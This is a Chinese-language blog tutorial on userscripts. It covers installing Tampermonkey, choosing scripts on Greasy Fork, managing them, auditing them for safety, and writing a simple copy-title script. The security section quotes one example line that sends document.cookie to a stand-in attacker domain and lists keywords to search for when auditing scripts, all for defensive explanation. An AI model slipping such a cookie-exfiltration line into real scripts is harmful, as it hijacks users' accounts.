news 2026/9/19 10:07:38

用户脚本实战指南:从Greasy Fork安装到Tampermonkey写脚本

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
用户脚本实战指南:从Greasy Fork安装到Tampermonkey写脚本

最近几个月,我陆陆续续在几个浏览器折腾脚本,前后装了二十多个,踩了不少坑,也省下了大量重复点击的时间。有人可能觉得“用户脚本”是高阶玩家的玩具,但其实它就是一个运行在浏览器里的JavaScript小程序,能在指定的网站上自动改页面、加按钮、去广告、下载资源。而Greasy Fork这个网站,就是这类脚本的集中分发地。今天把我从选脚本、装脚本、管脚本,到自己动手写脚本的完整过程整理出来,希望能帮到正准备入坑的朋友。

1. 先搞清楚:用户脚本到底是个什么东西

1.1 用户脚本的运行原理

用户脚本(userscript)本质上就是一段普通的JavaScript代码,但它不是在浏览器控制台里手动执行一次就完事,而是由“脚本管理器”这个浏览器扩展负责管理,在符合条件时自动注入到指定网页里运行。

你可以把它理解成给网站装的一组“自动微操作”。比如某个网页每次都要你手动点三次才能看到完整内容,传统做法要么复制粘贴到控制台,要么开发一个完整浏览器插件。用户脚本则多用一种包含元信息的头注释(也就是俗称的油猴头metadata block),在头部用@match声明这脚本应该跑在哪些网站上。脚本管理器读取这些声明后,当你打开对应网站时,自动把脚本代码注入进去执行,整个过程用户无感知。

脚本管理器和脚本本身是分开的两层。脚本管理器负责拦截网页、注入脚本、提供API(比如跨域请求、本地存储),脚本则专注于页面改造。常用的管理器有Tampermonkey(俗称油猴)、Violentmonkey和Greasemonkey,三者的兼容性差异不大,新手上路选Tampermonkey最省心。

1.2 Greasy Fork在用户脚本生态里的位置

早期用户脚本都集中在userscripts.org,站点关停后脚本社区一度分散,Greasy Fork正是在这个真空期接棒出现的,由Stylish扩展的作者Jason Barnabe维护,继承了绝大多数周边生态并继续运营至今。

Greasy Fork有点像脚本界的“应用商店”——它不提供代码托管服务,只负责索引、展示和分发。作者把脚本源码上传到GitHub等仓库后,再把发布版本同步到Greasy Fork,用户在Greasy Fork上可以看到脚本描述、安装量、评分、评论区反馈,然后一键安装。它比直接翻GitHub找源码更舒服,因为脚本描述、安装量、评分、评论区都在同一个页面上,安装前就能对脚本质量有个初步判断。

很多纯小白误以为“Greasy Fork = 油猴”,其实Greasy Fork只是脚本的目录站,真正让脚本跑起来的是你浏览器里的Tampermonkey或Violentmonkey。两者配合才是完整链路:管理器提供运行环境,Greasy Fork提供脚本源。

2. 从零开始:在Greasy Fork上安装你的第一个脚本

2.1 第一步不是找脚本,而是装脚本管理器

有朋友第一次接触Greasy Fork,点开一个脚本页面就看见“安装此脚本”的绿色按钮,兴致勃勃点下去,结果浏览器提示要安装某个扩展,然后卡住了。这是必经流程——Greasy Fork本身不参与代码执行,它只是把脚本文件内容以特殊格式传给你浏览器上的管理器,管理器收到后弹出确认窗口,你点“安装”之后脚本才会进入本地。

安装管理器的具体步骤很简单:打开你浏览器的扩展商店(Edge加载项、Chrome商店、Firefox AMO等),搜索Tampermonkey,点击安装,再把扩展固定到工具栏。以Edge为例,安装完后右键Tampermonkey图标,选“扩展选项”,能看到仪表盘、脚本列表、设置等入口。建议把“配置模式”调成“高级”,方便后续查看脚本的控制台日志和外部编辑器功能。

提示:不同管理器的图标、菜单术语略有差异,但核心操作都在“脚本管理页”里。装好管理器后,建议先开着它自带的说明文档,方便对照。

2.2 在Greasy Fork上挑选脚本的实用技巧

Greasy Fork首页会展示热门脚本、最近更新、脚本分类等信息,通过顶部的搜索框可以按关键词搜索。我第一次用的时候很盲目,直接搜“百度网盘”“去广告”之类的大词,结果出来一堆脚本,不知道选哪个。

我自己后来固定了一套挑选逻辑,按优先级排序:

  • 看安装量和更新时间。安装量过万、三个月内还有更新的,基本是活跃维护的主流脚本。
  • 看评分和评论。可能有人会质疑评分刷量,但评论区里的“不生效了”“报错xxx”信息量大——如果多个人在最近几天都反馈同样问题,多半是目标网站改版导致脚本失效,得暂缓安装。
  • 看脚本源码页和版本号。版本号连续更新说明作者还在维护;源码页能让你预览代码,对新手来说至少扫一眼文件大小和@match匹配范围,心里有数。
  • 优先选描述中标注“开箱即用”“无需额外配置”的清晰说明,这类脚本通常面向大众需求,交互做得更完善。

安装脚本的具体流程是:在脚本详情页点击“安装此脚本”,管理器弹出安装确认窗口,里面会显示脚本名称、版本、匹配的网站列表、权限申请等信息。确认无误后点击“安装”,脚本就进去了。之后打开匹配的网站,刷新一下,观察页面有没有变化,如果没有变化,多半是脚本没匹配上或者网站本身把脚本拦截了。

3. 脚本怎么用、怎么管:从新手到进阶的日常操作

3.1 脚本的启用、停用与自动更新

装好脚本后,日常管理主要在管理器的仪表盘里进行。Tampermonkey的“已安装脚本”列表会展示每个脚本的名称、状态、匹配的网站和更新时间。你随时可以一键启用或停用某个脚本,点“编辑”按钮还能直接打开代码编辑器查看源码。

管理脚本时最重要的习惯是“按需启用”,而不是装完就全开着。脚本之间可能存在冲突,比如两个脚本同时在页面里注入大量DOM节点、操作同一个按钮,轻则按钮重复出现,重则页面卡顿。我自己的原则是:能合并成一个脚本完成的功能就合并,装完某个脚本后如果发现页面异常,第一时间停掉刚装的版本做对照。

自动更新功能建议保留开启,但提升检查频率时需要谨慎。Greasy Fork上的脚本更新节奏各不相同,有些作者一周更三次,有些一年更一次,自动更新能帮你跟上修复进度。不过新版不一定总是更好,个别脚本新版本会引入一个不稳定机制或砍掉旧功能。如果你手头有个好用但已停更的旧脚本,可以把它设为“固定版本”,避免被自动更新“优化”掉。

3.2 常用脚本类型盘点与代表性脚本

按使用场景,用户脚本大致可以分成几类。我按我个人的使用频率从高到低列出,供参考。

  • 去广告类。去掉视频片头广告、页面内嵌广告、搜索推广位。典型代表如各种“广告净化器”脚本,但需要谨慎挑选,广告拦截如果做过头,会误伤内容区。
  • 下载辅助类。为百度网盘、各大资源站等增加直链下载、链接识别、文件名修正等功能。这类脚本对隐私风险的要求高,安装前务必看源码里的网络请求部分。
  • 界面增强类。为知乎、微博、B站等网站增加宽屏模式、自动展开全文、去二维码浮层等。这类脚本数量最多,也最适合新手体验。
  • 一键操作类。比如“复制搜索”“解除右键限制”“自动签到”等,本质就是把原本需要多次点击的操作合并成一次。

我在日常使用中比较依赖的脚本有一款“宽屏优化”和一款“自动签到”,它们都不是什么黑科技,但每天都能帮我省下几分钟。选脚本时先想清楚自己最痛的需求,不要贪多。

4. 安全第一:用脚本前必须懂的风险控制

4.1 恶意脚本是怎么害人的

用户脚本的权限边界比普通网页大得多,它可以在任意匹配的网站上执行任意代码,意味着它能读取网页里的内容、模拟点击、窃取表单数据、向任意服务器发送请求。绝大多数脚本是善意的,但恶意脚本的破坏力也不容小觑,轻则页面被注入广告,重则账号信息被劫持。

举个例子:一个脚本匹配了*://mail.example.com/*,它的代码里有一行fetch('https://evil.example.com/?cookie=' + document.cookie),那么你每次打开邮箱,这个脚本都会把当前网站的cookie发送到攻击者的服务器。这种代码不算高深,普通用户光看描述根本发现不了。

更隐蔽的是“潜伏型脚本”。它正常功能是给网站加一个暗色模式,但同时在后台加载一个远程脚本(动态创建一个script标签指向第三方域名),这样一来,作者随时可以把远端代码换成恶意代码,而你本地安装的脚本内容毫无变化。这也是为什么我一直强调:别碰那些来源不明、代码里出现大量远程域名、安装量个位数的脚本。

4.2 判断一个脚本是否安全的四个扫雷点

我每次下载新脚本前,都会花两三分钟快速扫一遍源码,重点看四个地方:

  • 看元数据块。@match是否精确,比如只匹配目标网站而不是通配所有域名,权限声明@grant是否合理,有没有申请GM_xmlhttpRequest这类敏感跨域接口。
  • 看网络请求。在代码里搜索http://https://fetch(XMLHttpRequestGM_xmlhttpRequest,如果脚本只是改样式,这些字段一般不会出现,出现就得逐个确认目标域名是否可信。
  • 看动态加载。搜索createElement('script')eval(,这两个是动态执行远程代码的常用入口,如果不理解为什么要用,就不要装。
  • 看评论区讨论。Greasy Fork的评论区是很好的安全情报来源,有人发现脚本偷偷上传数据,一般会在评论里大声说出来。

注意:即使脚本通过了上面的扫雷,也不代表100%安全。对于涉及支付、账号类网站的脚本,建议尽量选用安装量极高、口碑明确的知名脚本,或者干脆手动操作,别用第三方脚本。

5. 进阶玩法:自己写一个最简单的用户脚本

5.1 写脚本前需要准备什么

你在Greasy Fork上用到的每一个脚本,本质上都是别人写出来分享的。一旦你理解了它的原理,自己动手写一个改版脚本的门槛其实极低。

准备工具只需要一个趁手的浏览器和一个脚本管理器。Tampermonkey自带的在线编辑器虽然能用,但代码一多就不太舒服,我建议先装一个普通的本地代码编辑器(VS Code、Sublime Text等),再用管理器的“外部编辑器”功能绑定。写代码的过程按“用浏览器开发者工具查看页面结构 → 写脚本 → 刷新页面看效果 → 改代码 → 刷新”的迭代来走,跟平时调网页一样。

给脚本命名、配置元数据块时,记得认真填写@name和@version。@namespace用你自己的域名或邮箱前缀即可,用于区分同名脚本;@version建议从0.1开始,每次改动递增。这些信息在Greasy Fork发布时会展示给用户,好的描述和版本记录能提升信任度。

5.2 亲手写一段能用的脚本:完整过程

下面我用一个实际例子演示整体流程——给某个支持Markdown的页面加一个“一键复制Markdown格式标题”按钮。这个例子覆盖了选择器、事件绑定、剪贴板操作这几个常用功能。

先在管理器里新建脚本,填入元数据块:

// ==UserScript== // @name 一键复制标题 // @namespace https://example.com/ // @version 0.1 // @description 在文章页顶部添加一个按钮,点击后复制页面标题和链接 // @author myself // @match https://example.com/posts/* // @grant GM_setClipboard // ==/UserScript==

代码逻辑分三步:

(function () { 'use strict'; function createCopyButton() { const btn = document.createElement('button'); btn.textContent = '复制标题'; btn.style.position = 'fixed'; btn.style.bottom = '20px'; btn.style.right = '20px'; btn.style.zIndex = '9999'; btn.addEventListener('click', () => { const title = document.querySelector('h1')?.innerText || document.title; const url = location.href; GM_setClipboard(`[${title}](${url})`); btn.textContent = '已复制'; setTimeout(() => { btn.textContent = '复制标题'; }, 2000); }); document.body.appendChild(btn); } createCopyButton(); })();

这里用到的GM_setClipboard是由管理器提供的剪贴板API,需要在@grant字段声明才能调用。如果你不想依赖它,也可以用navigator.clipboard.writeText,但那要求页面必须是安全上下文(HTTPS),部分环境下可能失败。

写完保存后,打开匹配的页面,右下角应该出现一个固定定位的“复制标题”按钮。如果没出现,先打开控制台看有没有报错。这种直来直去的脚本虽然谈不上多酷,但能帮你跑通“改代码→注入→生效”整个链路,后面再写复杂功能就有了底气。

如果想要更复杂一点,比如自动识别页面图片并添加下载链接、去掉页面中所有外链跳转提示层,思路都一样:先定位节点,再修改属性或绑定事件,最后让脚本自动跑。

6. 常见问题与排查技巧实录

6.1 脚本不生效的排查顺序

脚本不生效是新手最常遇到的问题,我碰到的概率高到几乎每次装新脚本都要排查。按重要程度排序,建议按这个顺序检查:

  • 确认管理器里的脚本是“启用”状态,且匹配规则和当前网址一致。很多脚本只匹配特定路径,比如/posts/*,你在首页测试肯定不生效。
  • 先刷新页面几次,排除缓存和脚本注入时序问题。用户脚本通常在DOM生成后注入,如果你的页面有大量异步加载,脚本可能会在节点出现前就执行完毕——有些复杂脚本会自己加延时或MutationObserver监听,但简单脚本不会。
  • 打开浏览器开发者工具(F12),查看Console里有没有红色的报错。特别是“Cannot read properties of null”这类报错,多半是脚本里要查找的DOM节点不存在,网站改版或选择器不对都会导致这种情况。
  • 在脚本管理器的“控制台”里直接试验少部分代码,定位问题。比如手动执行document.querySelector(...),看看节点到底能不能找到。

如果脚本在Greasy Fork页面显示“更新于一周前”,而你使用的网站最近几天刚改版,大概率是网站结构和脚本的选择器对不上了。这种问题不是你造成的,只能等作者更新或自己改。

6.2 Greasy Fork访问和使用时的坑

访问Greasy Fork本身偶尔也会遇到“页面打开慢”或“加载不出代码”的情况。这多半是网络环境影响,属于暂时性问题,换个时间段再试、清一下DNS缓存或换一个浏览器即可。这里建议不要使用来历不明的第三方“加速工具”,尽量走常规网络路径访问,避免账号和隐私泄露风险。

在Greasy Fork下载脚本时,偶尔会遇到“代码页显示源码,但点击安装后没动静”的情况。这通常是浏览器扩展权限没给够,检查一下管理器的“网站访问”权限,确保它被允许访问所有网站。部分浏览器(尤其是比较严格的版本)会默认限制扩展读取任意网站,导致Tampermonkey无法注入脚本。

还有一些小细节:Greasy Fork支持按“总安装数”和“日安装数”排序,安装数高不代表适合你,还得看脚本描述的细节;评论区的“举报”按钮建议少用,除非你确认脚本存在明显的恶意行为,乱举报会影响作者的热情。

6.3 脚本冲突和页面卡顿的实战处理

脚本装多了之后,会遇到一个新问题——页面加载明显变慢,甚至直接卡死无响应。用户脚本在页面加载时同步执行,如果你同时开了一堆“大而全”的脚本,它们各自都会去遍历DOM、绑定事件、发起HTTP请求,冲突几乎无法避免。

我自己遇到的一个典型案例是同时安装了两款网页翻译和一款关键词高亮脚本,结果页面上每次鼠标选中文本都会触发三次不同的弹出层,肉眼可见的卡顿。排查方法很简单:在管理器的脚本列表里,先把最近安装的脚本全部停用,然后逐个启用,每启用一个就操作一下页面,直到复现问题。

处理结果要么是卸载其中一个功能重复的脚本,要么是两个脚本留下更符合习惯的那个。另外,简洁为美,别追求把所有功能都堆在页面上,多数用户脚本都会提供“设置面板”,把不必要的功能关掉也能减少卡顿。

重要经验:升级浏览器(尤其是大版本更新)后,务必检查一遍旧脚本是否还正常。浏览器升级能改变默认安全策略,有些脚本可能因为这个无故失效。

写在最后的一点心得

用了这么久的用户脚本和Greasy Fork,最大的感受是它提供了一个低门槛、高效率的“个人网页改造”路径。你不需要等网站官方做优化,也犯不着围绕一个需求写完整的浏览器插件,几十行代码就能解决一个具体痛点。在这里也想提醒大家,脚本虽好,但管理器和脚本本身都在不断地更新,别贪多,装之前多花几分钟看源码、看评论、确认权限,这省下来的时间是值得的。最后再分享一个小技巧:定期打开Tampermonkey的设置面板,把“旧版本脚本”“从未使用过的脚本”清理一遍,你的浏览器打开速度会感谢你。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/19 10:04:54

BrewUI:给 Homebrew 套上图形界面的可视化包管理工具

1. BrewUI 到底是什么,为什么要做它如果你在 macOS 上写过代码、装过开发环境、折腾过命令行工具,那 Homebrew 这个名字你绝对绕不开。它是 macOS 上最主流的包管理器,日常装个 nginx、redis、git、ffmpeg,敲一句brew install xxx…

作者头像 李华
网站建设 2026/9/19 10:03:58

3分钟上手BBDown:零基础安装与下载第一个B站视频的完整教程

3分钟上手BBDown:零基础安装与下载第一个B站视频的完整教程 【免费下载链接】BBDown Bilibili Downloader. 一个命令行式哔哩哔哩下载器. 项目地址: https://gitcode.com/gh_mirrors/bb/BBDown BBDown 是一个免费、开源的命令行式哔哩哔哩下载器(…

作者头像 李华
网站建设 2026/9/19 10:02:54

国产MCU替代STM32:选型评估与迁移实战指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/9/19 9:59:14

从224MB到4.7MB:Electron与Tauri等六种跨平台桌面方案实测横评

1. 从 224MB 到 4.7MB:一个让我彻底抛弃 Electron 的实测横评去年年底我接手了一个内部工具项目,需求很朴素:一个能在 Windows、macOS、Linux 上跑的桌面客户端,界面用 Vue 写,功能就是本地文件处理加一些数据可视化。…

作者头像 李华